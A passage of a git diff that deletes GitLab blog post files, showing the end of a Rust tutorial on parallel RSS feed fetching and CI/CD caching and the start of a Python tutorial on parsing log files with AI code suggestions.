-    MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/1)
-
-    2. Parallel exeuction. [Example source code
-    MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/3)
-
-
-    ```shell
-
-    # Sequential
-
-    git checkout sequential-exec
-
-
-    time cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-
-    0.21s user 0.08s system 10% cpu 2.898 total
-
-    0.21s user 0.08s system 11% cpu 2.585 total
-
-    0.21s user 0.09s system 10% cpu 2.946 total
-
-    0.19s user 0.08s system 10% cpu 2.714 total
-
-    0.20s user 0.10s system 10% cpu 2.808 total
-
-    ```
-
-
-    ```shell
-
-    # Parallel
-
-    git checkout parallel-exec
-
-
-    time cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-
-    0.19s user 0.08s system 17% cpu 1.515 total
-
-    0.18s user 0.08s system 16% cpu 1.561 total
-
-    0.18s user 0.07s system 17% cpu 1.414 total
-
-    0.19s user 0.08s system 18% cpu 1.447 total
-
-    0.17s user 0.08s system 16% cpu 1.453 total
-
-    ```
-
-
-    The CPU usage increased for parallel execution of four RSS feed threads, but
-    it nearly halved the total time compared to sequential execution. With that
-    in mind, we can continue learning Rust and optimize the code and
-    functionality.
-
-
-    Note that we are running the debug build through Cargo, and not the
-    optimized released builds yet. There are caveats with parallel execution
-    though: Some HTTP endpoints put rate limits in place, where parallelism
-    could hit these thresholds easier.
-
-
-    The system executing multiple threads in parallel might get overloaded too –
-    threads require context switching in the Kernel, assigning resources to each
-    thread. While one thread gets computing resources, other threads are put to
-    sleep. If there are too many threads spawned, this might slow down the
-    system, rather than speeding up the operations. Solutions include design
-    patterns such as [work
-    queues](https://docs.rs/work-queue/latest/work_queue/), where the caller
-    adds a task into a queue, and a defined number of worker threads pick up the
-    tasks for asynchronous execution.
-
-
-    Rust also provides data synchronisation between threads, so-called
-    [channels](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html).
-    To ensure concurrent data access,
-    [mutexes](https://doc.rust-lang.org/std/sync/struct.Mutex.html) are
-    available to provide safe locks.
-
-
-    ### CI/CD with Rust caching
-
-    Add the following CI/CD configuration into the `.gitlab-ci.yml` file. The
-    `run-latest` job calls `cargo run` with RSS feed URL examples, and measures
-    the execution time continuously.
-
-
-    ```
-
-    stages:
-      - build
-      - test
-      - run
-
-    default:
-      image: rust:latest
-      cache:
-        key: ${CI_COMMIT_REF_SLUG}
-        paths:
-          - .cargo/bin
-          - .cargo/registry/index
-          - .cargo/registry/cache
-          - target/debug/deps
-          - target/debug/build
-        policy: pull-push
-
-    # Cargo data needs to be in the project directory for being cached.
-
-    variables:
-      CARGO_HOME: ${CI_PROJECT_DIR}/.cargo
-
-    build-latest:
-      stage: build
-      script:
-        - cargo build --verbose
-
-    test-latest:
-      stage: build
-      script:
-        - cargo test --verbose
-
-    run-latest:
-      stage: run
-      script:
-        - time cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml" "CNCF,https://www.cncf.io/feed/"
-    ```
-
-
-    ![GitLab CI/CD pipelines for Rust, cargo run
-    output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/gitlab_cicd_pipeline_rust_cargo_run_output.png){:
-    .shadow}
-
-
-    ## What is next
-
-    This blog post was challenging to create, with both learning advanced Rust
-    programming techniques myself, and finding a good learning curve with Code
-    Suggestions. The latter greatly helps with quickly generating code, not just
-    boilerplate snippets – it understands the local context, and better
-    understands the purpose and scope of the algorithm, the more code you write.
-    After reading this blog post, you know of a few challenges and turnarounds.
-    The example solution code for the reader app is available in [the
-    learn-rust-ai-app-reader
-    project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader).
-
-
-    Parsing RSS feeds is challenging since it involves data structures, with
-    external HTTP requests and parallel optimizations. As an experienced Rust
-    user, you might have wondered: `Why not use the std::rss crate?` -- It is
-    optimized for advanced asynchronous execution, and does not allow to show
-    and explain the different Rust functionalities, explained in this blog post.
-    As an async exercise, try to rewrite the code using the [`rss`
-    crate](https://docs.rs/rss/latest/rss/).
-
-
-    ### Async learning exercises
-
-    The lessons learned in this blog post also lay the foundation for future
-    exploration with persistent storage and presenting the data. Here are a few
-    ideas where you can continue learning Rust and optimize the reader app:
-
-
-    1. Data storage: Use a database like sqlite, and RSS feed update tracking.
-
-    2. Notifications: Spawn child processes to trigger notifications into
-    Telegram, etc.
-
-    3. Functionality: Extend the reader types to REST APIs
-
-    4. Configuration: Add support for configuration files for RSS feeds, APIs,
-    etc.
-
-    5. Efficiency: Add support for filters, and subscribed tags.
-
-    6. Deployments: Use a webserver, collect Prometheus metrics, and deploy to
-    Kubernetes.
-
-
-    In a future blog post, we will discuss some of these ideas, and how to
-    implement them. Dive into existing RSS feed implementations, and learn how
-    you can refactor the existing code into leveraging more Rust libraries
-    (`crates`).
-
-
-    ### Share your feedback
-
-    When you use [GitLab Duo](/gitlab-duo/) Code Suggestions, please [share your
-    thoughts in the feedback
-    issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).
-  category: AI/ML
-  tags:
-    - DevSecOps
-    - careers
-    - tutorial
-    - workflow
-    - AI/ML
-config:
-  slug: learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  featured: false
-  template: BlogPost
diff --git a/content/en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions.yml b/content/en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions.yml
deleted file mode 100644
index ce8ba0ab2..000000000
--- a/content/en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions.yml
+++ /dev/null
@@ -1,1564 +0,0 @@
-seo:
-  title: Learning Python with a little help from AI
-  description: >-
-    Use this guided tutorial, along with GitLab Duo Code Suggestions, to learn a
-    new programming language.
-  ogTitle: Learning Python with a little help from AI
-  ogDescription: >-
-    Use this guided tutorial, along with GitLab Duo Code Suggestions, to learn a
-    new programming language.
-  noIndex: false
-  ogImage: images/blog/hero-images/aipower.jpeg
-  ogUrl: >-
-    https://about.gitlab.com/blog/learning-python-with-a-little-help-from-ai-code-suggestions
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/learning-python-with-a-little-help-from-ai-code-suggestions
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Learning Python with a little help from AI",
-            "author": [{"@type":"Person","name":"Michael Friedrich"}],
-            "datePublished": "2023-11-09",
-          }
-
-content:
-  title: Learning Python with a little help from AI
-  description: >-
-    Use this guided tutorial, along with GitLab Duo Code Suggestions, to learn a
-    new programming language.
-  authors:
-    - Michael Friedrich
-  heroImage: images/blog/hero-images/aipower.jpeg
-  date: '2023-11-09'
-  body: >
-
-    Learning a new programming language can help broaden your software
-    development expertise, open career opportunities, or create fun challenges.
-    However, it can be difficult to decide on one specific approach to learning
-    a new language. Artificial intelligence (AI) can help. In this tutorial,
-    you'll learn how to leverage AI-powered GitLab Duo Code Suggestions for a
-    guided experience in learning the Python programming language with a
-    practical hands-on example.
-
-
-    - [Preparations](#preparations)
-      - [VS Code](#vs-code)
-      - [Code Suggestions](#code-suggestions)
-    - [Learning a new programming language:
-    Python](#learning-a-new-programming-language-python)
-        - [Development environment for Python](#development-environment-for-python)
-        - [Hello, World](#hello-world)
-    - [Start learning Python with a practical
-    example](#start-learning-python-with-a-practical-example)
-        - [Define variables and print them](#define-variables-and-print-them)
-        - [Explore variable types](#explore-variable-types)
-    - [File I/O: Read and print a log file](#file-io-read-and-print-a-log-file)
-
-    - [Flow control](#flow-control)
-        - [Loops and lists to collect files](#loops-and-lists-to-collect-files)
-        - [Conditionally collect files](#conditionally-collect-files)
-    - [Functions](#functions)
-        - [Start with a simple log format](#start-with-a-simple-log-format)
-        - [String and data structure operations](#string-and-data-structure-operations)
-        - [Parse log files using regular expressions](#parse-log-files-using-regular-expressions)
-        - [Advanced log format: auth.log](#advanced-log-format-authlog)
-        - [Parsing more types: Structured logging](#parsing-more-types-structured-logging)
-    - [Printing results and formatting](#printing-results-and-formatting)
-
-    - [Dependency management and continuous
-    verification](#dependency-management-and-continuous-verification)
-        - [Pip and pyenv: Bringing structure into Python](#pip-and-pyenv-bringing-structure-into-python)
-        - [Automation: Configure CI/CD pipeline for Python](#automation-configure-cicd-pipeline-for-python)
-    - [What is next](#what-is-next)
-        - [Async learning exercises](#async-learning-exercises)
-        - [Share your feedback](#share-your-feedback)
-
-    ## Preparations 
-
-
-    Choose your [preferred and supported
-    IDE](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-in-other-ides-and-editors),
-    and follow the documentation to enable Code Suggestions for [GitLab.com
-    SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas)
-    or [GitLab self-managed
-    instances](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).
-
-
-    Programming languages can require installing the language interpreter
-    command-line tools or compilers that generate binaries from source code to
-    build and run the application.
-
-
-    **Tip:** You can also use [GitLab Remote Development
-    workspaces](/blog/2023/06/26/quick-start-guide-for-gitlab-workspaces/) to
-    create your own cloud development environments, instead of local development
-    environments. This blog post focuses on using VS Code and the GitLab Web
-    IDE. 
-
-
-    ### VS Code
-
-
-    [Install VS Code](https://code.visualstudio.com/download) on your client,
-    and open it. Navigate to the `Extensions` menu and search for `gitlab
-    workflow`. Install the [GitLab Workflow extension for VS
-    Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow).
-    VS Code will also detect the programming languages, and offer to install
-    additional plugins for syntax highlighting and development experience. For
-    example, install the [Python
-    extension](https://marketplace.visualstudio.com/items?itemName=ms-python.python).
-
-
-    ### Code Suggestions
-
-
-    Familiarize yourself with suggestions before actually verifying the
-    suggestions. GitLab Duo Code Suggestions are provided as you type, so you do
-    not need use specific keyboard shortcuts. To accept a code suggestion, press
-    the `tab` key. Also note that writing new code works more reliably than
-    refactoring existing code. AI is non-deterministic, which means that the
-    same suggestion may not be repeated after deleting the code suggestion.
-    While Code Suggestions is in Beta, we are working on improving the accuracy
-    of generated content overall. Please review the [known
-    limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations),
-    as this could affect your learning experience.
-
-
-    **Tip:** The latest release of Code Suggestions supports multiline
-    instructions. You can refine the specifications to your needs to get better
-    suggestions. We will practice this method throughout the blog post.
-
-
-    ## Learning a new programming language: Python  
-
-
-    Now, let's dig into learning Python, which is one of the [supported
-    languages in Code
-    Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). 
-
-
-    Before diving into the source code, make sure to set up your development
-    environment.
-
-
-    ### Development environment for Python 
-
-
-    1) Create a new project `learn-python-ai` in GitLab, and clone the project
-    into your development environment. All code snippets are available in this
-    ["Learn Python with AI"
-    project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai).
-
-
-    ```shell
-
-    git clone https://gitlab.com/NAMESPACE/learn-python-ai.git
-
-
-    cd learn-python-ai
-
-
-    git status
-
-    ```
-
-
-    2) Install Python and the build toolchain. Example on macOS using Homebrew:
-
-
-    ```
-
-    brew install python
-
-    ```
-
-
-    3) Consider adding a `.gitignore` file for Python, for example this
-    [.gitignore template for
-    Python](https://gitlab.com/gitlab-org/gitlab/-/blob/master/vendor/gitignore/Python.gitignore?ref_type=heads). 
-
-
-    You are all set to learn Python! 
-
-
-    ### Hello, World
-
-
-    Start your learning journey in the [official
-    documentation](https://www.python.org/about/gettingstarted/), and review the
-    linked resources, for example, the [Python
-    tutorial](https://docs.python.org/3/tutorial/index.html). The
-    [library](https://docs.python.org/3/library/index.html) and [language
-    reference](https://docs.python.org/3/reference/index.html) documentation can
-    be helpful, too. 
-
-
-    **Tip:** When I touched base with Python in 2005, I did not have many use
-    cases except as a framework to test Windows 2000 drivers. Later, in 2016, I
-    refreshed my knowledge with the book "Head First Python, 2nd Edition,"
-    providing great practical examples for the best learning experience – two
-    weeks later, I could explain the differences between Python 2 and 3. You do
-    not need to worry about Python 2 – it has been deprecated some years ago,
-    and we will focus only on Python 3 in this blog post. In August 2023, "[Head
-    First Python, 3rd
-    Edition](https://www.oreilly.com/library/view/head-first-python/9781492051282/)"
-    was published. The book provides a great learning resource, along with the
-    exercises shared in this blog post. 
-
-
-    Create a new file `hello.py` in the root directory of the project and start
-    with a comment saying `# Hello world`. Review and accept the suggestion by
-    pressing the `tab` key and save the file (keyboard shortcut: cmd s). 
-
-
-    ```
-
-    # Hello world
-
-    ```
-
-
-    Commit the change to the Git repository. In VS Code, use the keyboard
-    shortcut `ctrl shift G`, add a commit message, and hit `cmd enter` to
-    submit. 
-
-
-    Use the command palette (`cmd shift p`) and search for `create terminal` to
-    open a new terminal. Run the code with the Python interpreter. On macOS, the
-    binary from Homebrew is called `python3`, other operating systems and
-    distributions might use `python` without the version.
-
-
-    ```shell
-
-    python3 hello.py
-
-    ```
-
-
-    ![Hello World, hello GitLab Duo Code
-    Suggestions](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_python_code_sugestions_hello_world.png)
-
-
-    **Tip:** Adding code comments in Python starting with the `#` character
-    before you start writing a function or algorithm will help Code Suggestions
-    with more context to provide better suggestions. In the example above, we
-    did that with `# Hello world`, and will continue doing so in the next
-    exercises.
-
-
-    Add `hello.py` to Git, commit all changes and push them to your GitLab
-    project.
-
-
-    ```shell
-
-    git add hello.py
-
-
-    git commit -avm "Initialize Python"
-
-
-    git push
-
-    ```
-
-
-    The source code for all exercises in this blog post is available in this
-    ["Learn Python with AI"
-    project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai).
-
-
-    ## Start learning Python with a practical example 
-
-
-    The learning goal in the following sections involves diving into the
-    language datatypes, variables, flow control, and functions. We will also
-    look into file operations, string parsing, and data structure operations for
-    printing the results. The exercises will help build a command-line
-    application that reads different log formats, works with the data, and
-    provides a summary. This will be the foundation for future projects that
-    fetch logs from REST APIs, and inspire more ideas such as rendering images,
-    creating a web server, or adding Observability metrics.
-
-
-    ![Parsing log files into structured objects, example result after following
-    the
-    exercises](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_parsing_logs_and_pretty_print_results.png)
-
-
-    As an experienced admin, you can put the script into production and use
-    real-world log format exmples. Parsing and analyzing logs in stressful
-    production incidents can be time-consuming. A local CLI tool is sometimes
-    faster than a log management tool.
-
-
-    Let's get started: Create a new file called `log_reader.py` in the directory
-    root, add it to Git, and create a Git commit.
-
-
-    ### Define variables and print them
-
-
-    As a first step, we need to define the log files location, and the expected
-    file suffix. Therefore, let's create two variables and print them. Actually,
-    ask Code Suggestions to do that for you by writing only the code comments
-    and accepting the suggestions. Sometimes, you need to experiment with
-    suggestions and delete already accepted code blocks. Do not worry – the
-    quality of the suggestions will improve over time as the model generates
-    better suggestions with more context.
-
-
-    ![Define log path and file suffix
-    variables](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_reader_variables_01.png){:
-    .shadow}
-
-
-    ![Print the variables to
-    verify](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_reader_variables_02.png){:
-    .shadow}
-
-
-    ```python
-
-    # Specify the path and file suffix in variables
-
-    path = '/var/log/'
-
-    file_suffix = '.log'
-
-
-    # Print the variables 
-
-
-    print(path)
-
-    print(file_suffix)
-
-    ```
-
-
-    Navigate into the VS Code terminal and run the Python script:
-
-
-    ```shell
-
-    python3 log_reader.py
-
-    ```
-
-
-    ![VS Code terminal, printing the
-    variables](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_print_variables.png)
-
-
-    Python supports many different types in the [standard
-    library](https://docs.python.org/3/library/index.html). Most common types
-    are: Numeric (int, float, complex), Boolean (True, False), and String (str).
-    Data structures include support for lists, tuples, and dictionaries. 
-
-
-    ### Explore variable types 
-
-
-    To practice different variable types, let's define a limit of log files to
-    read as a variable with the `integer` type.
-
-
-    ![Log file
-    variable](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_reader_variables_03.png){:
-    .shadow}
-
-
-    ```python
-
-    # Define log file limit variable 
-
-    log_file_limit = 1024 
-
-    ```
-
-
-    Create a Boolean variable that forces to read all files in the directory, no
-    matter the log file suffix. 
-
-
-    ```python
-
-    # Define boolean variable whether to read all files recursively
-
-    read_all_files_recursively = True
-
-    ```
-
-
-    ## File I/O: Read and print a log file
-
-
-    Create a directory called `log-data` in your project tree. You can copy all
-    file examples from the [log-data directory in the example
-    project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai/-/tree/main/log-data?ref_type=heads).  
-
-
-    Create a new file `sample.log` with the following content, or any other two
-    lines that provide a different message at the end.
-
-
-    ```
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: dpkg-db-backup.service: Deactivated
-    successfully.
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Daily dpkg database backup
-    service.
-
-    ```
-
-
-    Instruct Code Suggestions to read the file `log-data/sample.log` and print
-    the content. 
-
-
-    ![Code Suggestions: Read log file and print
-    it](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_read_log_file_and_print.png){:
-    .shadow}
-
-
-    ```python
-
-    # Read the file in log-data/sample.log and print its content
-
-    with open('log-data/sample.log', 'r') as f:
-        print(f.read())
-    ```
-
-
-    **Tip:** You will notice the indent here. The `with open() as f:` statement
-    opens a new scope where `f` is available as stream. This flow requires
-    indenting )`tab`) the code block, and perform actions in this scope, calling
-    `f.read()` to read the file contents, and passing the immediate value as
-    parameter into the `print()` function.
-
-
-    Navigate into the terminal, and run the script again with `python3
-    log_reader.py`. You will see the file content shown in the VS Code editor,
-    also printed into the terminal.
-
-
-    ![VS Code terminal: Read log file, and print
-    it](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_print_logfile_show_file_sample.png)
-
-
-    ## Flow control 
-
-
-    Reading one log file is not enough – we want to analyze all files in a given
-    directory recursively. For the next exercise, we instruct Code Suggestions
-    to create an index of all files. 
-
-
-    Prepare the `log-data` directory with more example files from the [log-data
-    directory in the example
-    project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai/-/tree/main/log-data?ref_type=heads).
-    The directory tree should look as follows:
-
-
-    ```shell
-
-    tree log-data                                                             ─╯
-
-    log-data
-
-    ├── sample.log
-
-    └── var
-        └── log
-            ├── auth.log
-            ├── syslog.log
-            └── syslog_structured.log
-
-    3 directories, 4 files
-
-    ```
-
-
-    ### Loops and lists to collect files 
-
-
-    Modify the `path` variable to use the value `log-data/`. 
-
-
-    ```python
-
-    # Specify the path and file suffix in variables
-
-    path = 'log-data/'
-
-    file_suffix = '.log'
-
-    ```
-
-
-    Tell Code Suggestions to read all file paths in the directory into a list.
-    After the collection loop, print the list of file paths. 
-
-
-    ```python
-
-    # Read all file paths in the directory into a list
-
-
-    # Print the list of log file paths
-
-    ```
-
-
-    ![Code Suggestion, collect file
-    paths](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_collect_files.png){:
-    .shadow}
-
-
-    An example of a suggestion could look like this:
-
-
-    ```python
-
-    # Read all file paths in the directory into a list
-
-    import os
-
-
-    # Read all file paths in the directory into a list
-
-    log_files = []
-
-    for root, directories, files in os.walk(path):
-        for file in files:
-            if file.endswith(file_suffix):
-                log_files.append(os.path.join(root, file))
-
-    # Print the list of log file paths
-
-
-    print(log_files)
-
-    ```
-
-
-    Let's analyze what happens here: The `import os` statement is required to
-    bring the `os` library into the current scope, and we are able to call
-    `os.walk()` later. The `log_files`
-    [list](https://docs.python.org/3/library/stdtypes.html#sequence-types-list-tuple-range)
-    is initialized as an empty list using empty brackets. `os.walk()` expects a
-    path as directory tree to start searching for files. The function returns a
-    generator object, which will walk the directory tree recursively. The
-    returned tuples include the collected files, which we want to access in a
-    loop iteraor, using the `for` loop notation. When the file ends with the
-    defined suffix, its full path is appended to the list. This is an optimized
-    and complex example. Do not worry about understanding everything just yet -
-    we will revisit this later. 
-
-
-    ### Conditionally collect files 
-
-
-    Modify the instructions and add the Boolean flag evaluation for
-    `read_all_files_recursively` as an input to the glob() function. 
-
-
-    ```python
-
-    # Read all file paths in the top level directory into a list
-
-    # If read_all_files_recursively is True, read all files recursively
-
-    ```
-
-
-    ![Code Suggestions, read files recursively
-    conditionally](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_read_files_recursively_conditionally.png){:
-    .shadow}
-
-
-    ```
-
-    # Read all file paths in the top level directory 
-
-    import os
-
-
-    # Read all file paths in the top level directory into a list
-
-    # If read_all_files_recursively is True, read all files recursively
-
-
-    log_files = []
-
-    for file in os.listdir(path):
-        if file.endswith(file_suffix):
-            log_files.append(os.path.join(path, file))
-
-    if read_all_files_recursively:
-        for root, directories, files in os.walk(path):
-            for file in files:
-                if file.endswith(file_suffix):               
-                    log_files.append(os.path.join(root, file))
-
-    # Print log_files
-
-    print(log_files)
-
-    ```
-
-
-    The result is not optimal yet because it always executes the first loop, and
-    optionally the second loop. This flow leads to duplicated results when the
-    script is executed.
-
-
-    ```
-
-    python3 log_reader.py
-
-
-    ['log-data/sample.log', 'log-data/sample.log', 'log-data/var/log/auth.log']
-
-    ```
-
-
-    Experiment with Code Suggestions instructions to get a solution for the
-    problem. There are different approaches you can take: 
-
-
-    1) A potential solution is to wrap the source code into an if-then-else
-    block, and move the `os.listdir()` loop into the else-block. 
-
-
-    ```python
-
-    if read_all_files_recursively:
-        for root, directories, files in os.walk(path):
-            for file in files:
-                if file.endswith(file_suffix):               
-                    log_files.append(os.path.join(root, file))
-    else:
-        for file in os.listdir(path):
-            if file.endswith(file_suffix):
-                log_files.append(os.path.join(path, file))  
-
-    ```
-
-
-    2) Alternatively, do not use `append()` to always add a new list entry, but
-    check if the item exists in the list first. 
-
-
-    ```python
-
-    for file in os.listdir(path):
-        if file.endswith(file_suffix):
-            # check if the entry exists in the list already
-            if os.path.isfile(os.path.join(path, file)):
-                log_files.append(os.path.join(path, file))
-
-    if read_all_files_recursively:
-        for root, directories, files in os.walk(path):
-            for file in files:
-                if file.endswith(file_suffix):
-                    # check if the entry exists in the list already
-                    if file not in log_files:
-                        log_files.append(os.path.join(root, file))
-    ```
-
-
-    3) Or, we could eliminate duplicate entries after collecting all items.
-    Python allows converting lists into
-    [sets](https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset),
-    which hold unique entries. After applying `set()`, you can again convert the
-    set back into a list. Code Suggestions knows about this possibility, and
-    will help with the comment `# Ensure that only unique file paths are in the
-    list` 
-
-
-    ![Code Suggestions, converting a list to unique
-    items](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_unique_list.png){:
-    .shadow}
-
-
-    ```python
-
-    # Ensure that only unique file paths are in the list
-
-
-    log_files = list(set(log_files))
-
-    ```
-
-
-    4) Take a step back and evaluate whether the variable
-    read_all_files_recursively makes sense. Maybe the default behavior should
-    just be reading all files recursively?
-
-
-    **Tip for testing different paths in VS Code:** Select the code blocks, and
-    press [`cmd /` on
-    macOS](https://code.visualstudio.com/docs/getstarted/keybindings) to comment
-    out the code. 
-
-
-    ## Functions 
-
-
-    Let's create a function called `parse_log_file` that parses a log file, and
-    returns the extracted data. We will define the expected log format and
-    columns to extract, following the [syslog format
-    specification](https://en.wikipedia.org/wiki/Syslog). There are different
-    log format types and also customized formats by developers that need to be
-    taken into account – exercise for later. 
-
-
-    ### Start with a simple log format 
-
-
-    Inspect a running Linux VM, or use the following example log file example
-    for additional implementation.
-
-
-    ```
-
-    less /var/log/syslog | grep -v docker 
-
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: Starting Daily dpkg database backup
-    service...
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: Starting Rotate log files...
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: dpkg-db-backup.service: Deactivated
-    successfully.
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Daily dpkg database backup
-    service.
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: logrotate.service: Deactivated
-    successfully.
-
-    Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Rotate log files.
-
-    Oct 17 00:17:01 ebpf-chaos CRON[727495]: (root) CMD (   cd / && run-parts
-    --report /etc/cron.hourly)
-
-    ```
-
-
-    We can create an algorithm to split each log line by whitespaces, and then
-    join the results again. Let's ask Code Suggestions for help. 
-
-
-    ```python
-
-    # Split log line "Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Rotate log
-    files." by whitespaces and save in a list
-
-
-    log_line = "Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Rotate log
-    files."
-
-    log_line_split = log_line.split(" ")
-
-    print(log_line_split)
-
-    ```
-
-
-    Run the script again to verify the result.
-
-
-    ```shell
-
-    python3 log_reader.py
-
-
-    ['Oct', '17', '00:00:04', 'ebpf-chaos', 'systemd[1]:', 'Finished', 'Rotate',
-    'log', 'files.']
-
-    ```
-
-
-    The first three items are part of the datetime string, followed by the host,
-    service, and remaining log message items. Let's practice string operations
-    in Python as the next step. 
-
-
-    ### String and data structure operations
-
-
-    Let's ask Code Suggestions for help with learning to join strings, and
-    perform list operations.
-
-
-    1. Join the first three items with a whitespace again. 
-
-    2. Keep host and service. 
-
-    3. Join the remaining variable item count into a string, separated with
-    whitespaces, again. 
-
-    4. Store the identified column keys, and their respective values in a new
-    data structure:
-    [dictionary](https://docs.python.org/3/library/stdtypes.html#mapping-types-dict). 
-
-
-    ![Code suggestions for list items with string
-    operations](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_list_items_string_join_extract.png){:
-    .shadow}
-
-
-    ```shell 
-
-    python3 log_reader.py
-
-
-    # Array
-
-    ['Oct', '17', '00:00:04', 'ebpf-chaos', 'systemd[1]:', 'Finished', 'Rotate',
-    'log', 'files.']
-
-
-    # Dictionary 
-
-    {'datetime': 'Oct 17 00:00:04', 'host': 'ebpf-chaos', 'service':
-    'systemd[1]:', 'message': ' ebpf-chaos systemd[1]: Finished Rotate log
-    files.'}
-
-    ```
-
-
-    A working suggestion can look like the following:
-
-
-    ```python
-
-    # Initialize results dictionary with empty values for datetime, host,
-    service, message
-
-    # Loop over log line split 
-
-    # Join the first three list items as date string
-
-    # Item 4: host 
-
-    # Item 5: service
-
-    # Join the remaining items into a string, separated with whitespaces 
-
-    # Print the results after the loop 
-
-
-    results = {'datetime': '', 'host': '', 'service': '', 'message': ''}
-
-
-    for item in log_line_split:
-
-        if results['datetime'] == '':
-            results['datetime'] = ' '.join(log_line_split[0:3])
-
-        elif results['host'] == '':
-            results['host'] = log_line_split[3]
-
-        elif results['service'] == '':
-            results['service'] = log_line_split[4]
-
-        else:
-            results['message'] += ' ' + item
-
-    print(results)
-
-
-    ```
-
-
-    The suggested algorithm loops over all log line items, and applies the same
-    operation for the first three items. `log_line_split[0:3]` extracts a slice
-    of three items into a new list. Calling `join()` on a separator character
-    and passing the array as an argument joins the items into a string. The
-    algorithm continues to check for not initialized values for host (Item 4)
-    and service (Item 5)and concludes with the remaining list items appended
-    into the message string. To be honest, I would have used a slightly
-    different algorithm, but it is a great learning curve to see other
-    algorithms, and ways to implement them. Practice with different
-    instructions, and data structures, and continue printing the data sets. 
-
-
-    **Tip:** If you need to terminate a script early, you can use `sys.exit()`.
-    The remaining code will not be executed. 
-
-
-    ```python
-
-    import sys 
-
-    sys.exit(1)
-
-    ```
-
-
-    Imagine doing these operations for different log formats, and message types
-    – it can get complicated and error-prone very quickly. Maybe there is
-    another approach. 
-
-
-    ### Parse log files using regular expressions
-
-
-    There are different syslog format RFCs – [RFC
-    3164](https://datatracker.ietf.org/doc/html/rfc3164) is obsolete but still
-    found in the wild as default configuration (matching the pattern above),
-    while [RFC 5424](https://datatracker.ietf.org/doc/html/rfc5424) is more
-    modern, including datetime with timezone information. Parsing this format
-    can be tricky, so let's ask Code Suggestions for advice. 
-
-
-    In some cases, the suggestions include regular expressions. They might not
-    match immediately, making the code more complex to debug, with trial and
-    errors. A good standalone resource to text and explain regular expressions
-    is [regex101.com](https://regex101.com/).  
-
-
-    **Tip:** You can skip diving deep into regular expressions using the
-    following code snippet as a quick cheat. The next step involves instructing
-    Code Suggestions to use these log patterns, and help us extract all valuable
-    columns. 
-
-
-    ```python
-
-    # Define the syslog log format regex in a dictionary
-
-    # Add entries for RFC3164, RFC5424
-
-    regex_log_pattern = {
-        'rfc3164': '([A-Z][a-z][a-z]\s{1,2}\d{1,2}\s\d{2}[:]\d{2}[:]\d{2})\s([\w][\w\d\.@-]*)\s(.*)$',
-        'rfc5424': '(?:(\d{4}[-]\d{2}[-]\d{2}[T]\d{2}[:]\d{2}[:]\d{2}(?:\.\d{1,6})?(?:[+-]\d{2}[:]\d{2}|Z)?)|-)\s(?:([\w][\w\d\.@-]*)|-)\s(.*)$;'
-    }
-
-    ```
-
-
-    We know what the function should do, and its input parameters – the file
-    name, and a log pattern to match. The log lines should be split by this
-    regular expression, returning a key-value dictionary for each log line. The
-    function should return a list of dictionaries. 
-
-
-    ```python
-
-    # Create a function that parses a log file
